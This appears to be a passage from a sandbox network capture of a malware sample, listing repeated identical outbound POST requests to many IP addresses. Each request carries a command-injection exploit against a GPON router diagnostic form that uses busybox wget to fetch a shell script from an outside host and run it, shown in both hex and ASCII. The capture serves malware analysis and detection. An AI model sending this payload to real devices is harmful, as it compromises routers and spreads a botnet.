Mar 21, 2024 05:21:47.434607029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	55284	212.206.165.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434633017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	33300	212.173.182.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434645891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	57376	109.19.21.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434670925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	54580	118.207.51.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434679031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	48316	42.145.26.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434715986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	51958	212.132.194.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434739113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	35258	212.161.3.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434770107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	45868	5.127.245.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434791088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	46374	109.89.109.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434807062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	56550	109.54.80.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434820890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	53672	5.92.102.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434853077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	58892	212.156.187.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434886932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	51696	118.214.245.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434916019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	49864	42.245.180.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434974909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	44900	118.54.13.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.434993982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	58260	5.108.84.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435012102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	41636	212.7.12.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435046911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	36916	109.249.67.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435075998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	46652	118.41.219.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435143948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	42734	5.178.196.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435158014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	38378	118.235.91.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435184002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	59416	5.39.237.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435204983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	56288	42.250.18.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435237885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	33244	5.208.228.72	443

Timestamp	Bytes transferred	Direction	Data
